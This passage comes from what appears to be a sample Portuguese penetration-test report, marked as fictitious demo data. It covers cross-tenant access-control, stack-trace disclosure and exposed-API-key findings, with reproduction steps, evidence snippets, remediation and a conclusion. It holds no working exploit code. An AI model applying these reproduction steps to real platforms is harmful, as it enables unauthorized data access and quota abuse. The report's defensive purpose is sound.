{"orgAccess":[{"id":"svc_600x4zblt8hc","serviceId":"srv_cbt82ir1jnq7","serviceName":"Módulo
Gestão","serviceDescription":"Gestão de produtos e
custos","serviceApi":false,"expirationDate":"2026-12-16T11:32:11.814Z","status":true},{id":"svc_
qfty9lyweiup","serviceId":"srv_jwh7jhlfn1z","serviceName":"Módulo
Vendas","serviceDescription":"Pedidos e
precificação","serviceApi":false,"expirationDate":"2026-12-16T14:55:33.365Z","status":true}]}
```

O `orgId` informado (`org_7b2d9e3a1f6c40`) pertence a uma organização diferente da dona da sessão (AURORA, `org_9f3a2b7c1d8e4056`): a resposta retorna os serviços contratados por essa organização de terceiros.

#### REMEDIAÇÃO

Validar que o `:orgId:userId` informado na URL pertence à organização da sessão autenticada, ou que o chamador é `super_admin`, antes de montar a resposta em ambas as rotas.

#### REFERÊNCIAS

[https://owasp.org/Top10/A01\\_2021-Broken\\_Access\\_Control/](https://owasp.org/Top10/A01_2021-Broken_Access_Control/)

## Exposição de Stack Trace em Erro Não Tratado na Importação de Planilha

MÉDIA

CVSS 6.9

STATUS Aberto

ATIVO POST /vendas/api/importacoes/lote

CWE CWE-209 - Generation of Error Message Containing Sensitive Information

CATEGORIA Configuração de Segurança - OWASP Top 10 A05:2021

#### DESCRIÇÃO

Reenviando uma requisição de importação de pedidos em lote com um `import_id` (UUID) já usado anteriormente, o backend não trata a violação de restrição única do banco e devolve, em texto claro no JSON de resposta, o stack trace completo da exceção, incluindo a consulta ao banco, os parâmetros e o schema da tabela `import_jobs`.

**Como reproduzir:** autenticado, enviar POST `/vendas/api/importacoes/lote` com uma planilha de pedidos válida e um `import_id` arbitrário; reenviar a mesma requisição com o mesmo `import_id` uma segunda vez. A resposta HTTP 200 traz `error`, `message` e `stack_trace` completos.

#### IMPACTO

Vaza stack tecnológico (Node.js 20 / NestJS / Prisma / PostgreSQL), caminho interno do código (/app/dist/modules/import/import.service.js:214), schema da tabela e IDs internos de sessão (usuario\_id, org\_id). Facilita reconhecimento para outros ataques e indica ausência de handler de erro global em produção. A consulta exibida é parametrizada via ORM: não há SQL injection neste ponto específico.

#### EVIDÊNCIA

Resposta HTTP 200 confirmada com `stack_trace` completo no corpo JSON ao repetir o `import_id`; nenhuma exploração além da observação do erro foi realizada.

```
{
  "error": "PrismaClientKnownRequestError: Unique constraint failed on the fields: (`id`)\nCode: P2002\nMeta: { target: [ 'import_jobs_pkey' ] }\nValue (id)=(1b769938-015b-49b3-a6ba-9cc04180547d) already exists.",
  "message": "Erro ao processar solicitação",
  "stack_trace": "PrismaClientKnownRequestError: \n    at RequestHandler.handleRequestError (/app/node_modules/@prisma/client/runtime/library.js:121:...) \n    at ImportService.importarLote (/app/dist/modules/import/import.service.js:214:23) \n    params: { id: '1b769938-015b-49b3-a6ba-9cc04180547d', usuario_id: 41, org_id: 27, tipo: 'pedidos_lote', status: 'iniciando', ... }\n..."
}
```

#### REMEDIÇÃO

Capturar exceções de banco no handler (ou registrar um filtro de exceção global no NestJS) e retornar mensagem genérica ("Erro ao processar solicitação") sem os campos `error/stack_trace`. Logar o traceback completo apenas server-side (ex.: Sentry, CloudWatch, arquivo de log), nunca no corpo da resposta. Confirmar que a aplicação não roda em modo de desenvolvimento/`NODE_ENV != production`. Gerar `import_id` no próprio backend, em vez de aceitar UUID arbitrário do client.

#### REFERÊNCIAS

[https://owasp.org/Top10/A05\\_2021-Security\\_Misconfiguration/](https://owasp.org/Top10/A05_2021-Security_Misconfiguration/)

### Exposição de Chave de API Comercial (CadastroBR) no JavaScript do Portal

MÉDIA

CVSS 5.3

STATUS Aberto

ATIVO Bundle JavaScript público de app.exemplo.com.br

CWE CWE-798 - Use of Hard-coded Credentials

CATEGORIA Configuração de Segurança - OWASP Top 10 A05:2021

#### DESCRIÇÃO

A API key comercial do serviço CadastroBR (usado para consulta de dados cadastrais de CNPJ no autopreenchimento de cadastro de clientes) está embutida em texto claro no JavaScript público do portal, acessível sem qualquer autenticação: basta baixar o bundle. Diferente dos demais achados deste relatório, o impacto não recai sobre os dados das organizações clientes da Exemplo, e sim sobre um sistema de terceiro (CadastroBR) cujo plano pago pertence à Exemplo.

**Como reproduzir:** carregar o JavaScript público do portal (sem login) e localizar a variável de configuração com a chave.

#### IMPACTO

Qualquer pessoa com acesso ao JavaScript público (ou seja, qualquer visitante, sem precisar de conta) pode extrair a chave e: consumir a cota/plano pago da Exemplo no CadastroBR (abuso financeiro/esgotamento de cota, incluindo negação de serviço da funcionalidade de consulta de CNPJ dentro do próprio portal caso a cota se esgote); usar a chave fora do contexto do portal, sem qualquer controle da Exemplo sobre esse uso.

#### EVIDÊNCIA

```
VITE_CADASTRO_API_KEY: "cbr_live_9dF2...aK7"
```

(Valor parcialmente ocultado neste documento; o valor completo, extraído do JS de produção sem qualquer autenticação, está disponível com a NilWave para a equipe técnica da Exemplo confirmar e rotacionar a chave.)

Chamada onde a chave é usada no client:

```
fetch(`${dt.VITE_CADASTRO_API_URL}/${r}?token=${dt.VITE_CADASTRO_API_KEY}`)
```

#### REMEDIÇÃO

Mover toda chamada ao CadastroBR para o backend (proxy), nunca expor a chave no client. Rotacionar a chave atual imediatamente, já que está publicamente exposta. Se o provedor suportar, restringir a chave por origem/IP no painel do CadastroBR como camada adicional.

#### REFERÊNCIAS

[https://owasp.org/Top10/A05\\_2021-Security\\_Misconfiguration/](https://owasp.org/Top10/A05_2021-Security_Misconfiguration/)  
<https://cwe.mitre.org/data/definitions/798.html>

## 4. NOTA SOBRE O PORTAL CADASTROS - SEM ACHADOS CONFIRMADOS

O portal **Cadastros** (<https://app.exemplo.com.br/cadastros>) foi exercitado de forma completa: **53 rotas foram mapeadas e revisadas** com sessões de teste cross-tenant (mesmas duas sessões utilizadas no restante da bateria Grey Box). **Nenhuma falha de segurança foi confirmada** nessa superfície: todos os endpoints testados retornaram o comportamento esperado de autorização ao receber requisições cross-tenant.

#### NOTA

O Achado 13 deste relatório, "IDOR em Regras de Promoção e Desconto", diz respeito a regras de promoção **processadas pelo portal Vendas** (rota `/vendas/api/promocoes/...`), e não ao portal Cadastros em si. As duas superfícies são distintas e foram exercitadas separadamente. O portal Cadastros não apresentou nenhuma falha confirmada.

A cobertura completa do portal Cadastros está registrada na tabela da Seção 2 deste documento.

---

## 5. OBSERVAÇÕES ADICIONAIS

---

Os itens abaixo foram observados durante o teste mas **não** foram promovidos a achado formal nesta entrega, por não terem repro/impacto confirmado por teste dinâmico, ou por já estarem cobertos por um achado acima. Ficam registrados para não se perderem e para orientar a continuidade dos testes.

- **POST /api/v2/identity/users/wpp/link** aceita um **jid** (identificador de WhatsApp) arbitrário no corpo, sem validação aparente de que pertence ao usuário autenticado. Impacto não determinado nesta bateria (possível associação/sequestro indevido de notificações); recomenda-se teste dirigido.
  - **POST /api/v2/identity/api/generate** (geração de API key vinculada a um **accessId**) foi exercitada com sucesso, mas o impacto real não foi determinado pelo testador nesta bateria. A equipe da Exemplo informou que essa rota está planejada para remoção. Recomenda-se confirmar isso antes de investir em teste dirigido adicional.
  - Um conjunto grande de endpoints do Vendas (**bulk-edit**, **bulk-status**, **bulk-approve**, **apply-suggestion**, entre outros, nas famílias **pricing**, **clients**, **orders**, **reconciliation**, **promotions**) aceita listas de IDs ou filtros arbitrários vindos do cliente. Como o Achado 5 já confirmou que pelo menos 5 endpoints de escrita da mesma família (**pricing-mutations.controller.ts**) são de fato exploráveis, há probabilidade elevada de que parte destes também seja. Recomenda-se verificar antes de excluir os endpoints.
  - **X-CSRF-TOKEN** dá a entender que existia uma proteção contra *cross-site request forgery* que hoje não existe. É essencial que esse tipo de medida seja reimplementada da forma correta, pois, apesar de não existir uma seção específica no relatório para essa falha, ela se encontra espalhada por grande parte da aplicação.
- 

## 6. CONCLUSÃO E PRÓXIMOS PASSOS

---

O teste Grey Box foi concluído com **cobertura completa** da superfície autenticada dos quatro portais em escopo, cumprindo integralmente as exigências acordadas no engajamento. Não houve bloqueio técnico que limitasse a avaliação.

O quadro geral é de uma plataforma com uma **camada de autorização inconsistente**: a maior parte das rotas escopa corretamente por tenant, mas doze achados demonstram que a checagem de posse foi esquecida em pontos específicos, permitindo leitura e escrita de dados entre organizações concorrentes. A isso somam-se quatro falhas de causa distinta e alto impacto (execução remota de código, SSRF, escalção de privilégio e autorização em nível de função) que ampliam materialmente o risco.

---

Recomendamos:

- Correção priorizada dos achados **Críticos** e **Altos**, começando pela RCE (Achado 1) e pela família de controle de acesso cross-tenant;
- Centralização da checagem de posse de tenant em um middleware único, aplicado a toda a API, em vez de reimplementá-la rota a rota;
- **Reteste de validação** conduzido pela NilWave após as correções, para confirmar o fechamento de cada achado.

Ficamos à disposição para esclarecer **qualquer ponto** deste relatório.

## 7. NOTA DE ENCERRAMENTO

---

Este relatório é o **entregável final** do engajamento Grey Box e consolida todos os achados confirmados na avaliação. As **anotações de campo** e as evidências brutas seguem retidas pela NilWave e podem ser disponibilizadas à Exemplo Tecnologia mediante solicitação, conforme as Regras e Normas do Engajamento.

**Fim do relatório.**

*(c) 2026 NilWave, segurança ofensiva. Todos os direitos reservados. Documento modelo com dados fictícios, para fins de demonstração.*